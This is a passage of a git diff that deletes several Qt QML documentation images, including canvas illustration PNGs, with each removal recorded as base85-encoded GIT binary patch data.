zS#A>~O^`6fc}F`eOF2mgcjo#%7cwR8n0a)OUg7~SogkET!Y#IUFvF7Ok+rW)5#+Y0(f7DQ(WJLQCwiP=S(Q{H)4PK5#9^%_qPrSnzY)2i$E!0M*1391^60+}I?{v8_vU ziWkH-rYEo0Y@6Bpn1@1Z1QkRGGBaQ;8{V6SHz8 zA1N<(O3pSU?NgfiIdPtgRlbw0nY0wk2Ns*?PAFuAQ%SQ`c8z8i>k4Iq#}IDxsHf?-g~*JnyuBB3j9~KJ+CWWRT(7_tBW!&SIRuN^l%?v z3beenCEYp#oAJ7rX=jVegDpa(5U2`6wYprhI-e}q83~Ii{i`{xb;A~wH=KO&vk7;B z*B-NdGoHaMZk7p5r6PjYm8X0BlC?1VAS(2inBm*I3*>83ns7_wgC`a9;8Q~(1iy#r-)bHl$9q!#P25? zSaw!d&Xn7?`Uh+fb7ATdQs__{mqJ*fmXz}XT&$1X+JyYLlf^)vcvl;AcDu}wof!MN zd`dCDky}PI&R&|hzR?3r_fDTMFY_~Q3NYnToTUHeiEEiQAG4#;%8{rpph|u7&3*_F H2srjBM{1BUwsClG4NoV@oAv8D=a= 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 diff --git a/src/qml/doc/images/qml-item-canvas-math.png b/src/qml/doc/images/qml-item-canvas-math.png deleted file mode 100644 index c039a38532a2a1238dcd7fdc38e545c4a37f5450..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1961 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 C<)Rt@ diff --git a/src/qml/doc/images/qml-item-canvas-scale.png b/src/qml/doc/images/qml-item-canvas-scale.png deleted file mode 100644 index 3b26fde8711cbc1a40fea9930f44ce492e4d4dd9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4988 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 diff --git a/src/qml/doc/images/qml-item-canvas-scalex.png b/src/qml/doc/images/qml-item-canvas-scalex.png deleted file mode 100644 index d4e76aa93292c653c2d3132484a067b8e11b1688..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1023 zcmeAS@N?(olHy`uVBq!ia0y~yU=#qdEjXBfYk?GJfk$L90|Va?5N4dJ%_j{M zWH0gbb!ETJ$S16CY8?A>1z5;6qQtSZBqP6wVdc6r9zY?U5}=SvYH@N=WQ0!XYD{Sc8LDcqU2PD zum780!<0Ga=jNv7l`woeGi^Umj18nLB(o$Zm0`uZOX|SDVDNNt45^s&_U=J1X-A0z zAGhkcO7Y*`bisDb2B$vVoZl?c)gQC=vTdsD3p&D{`IvjkKF7z(5nm=Whi7n;2OT zobWGqAD`})pKl+!Wh#5_-uv|*pRHYYb$Zu5#~H3~H%??Nww~E@&M$PW?$=FQ7iYgr zU0g1Z7FeB=a`22T_u=LDid%p0IQ}-pXy2X!8TIp@KUVD7xij+oF1HoM0%+?c|X zmYr{ZqjGr)JHOQ2xpn`494wsk`t|Gk&z~2{T;IG-@RdwUq?VQ0o-fRI=Ub}6!h(r~ znL~g_!NH(`;UEJ}&XnzY_tut_EU6Y>A$o91d1>j@w`C`fX|Zh9*tF5>R^84@Rg9#QgtEwK{*LU3< z(xgxz^ZePfGy{p0NU`G^Uq^kZj?3i<>fOEa%#L-^ZHW?XS2lUQnYHx&?^EkNmn4bq zR(th(-}~RI=1p6cx%+NheEj_S){ro{V%_!EU!RTd@;EBw<9hF09WbSA0;P-cK%kzq 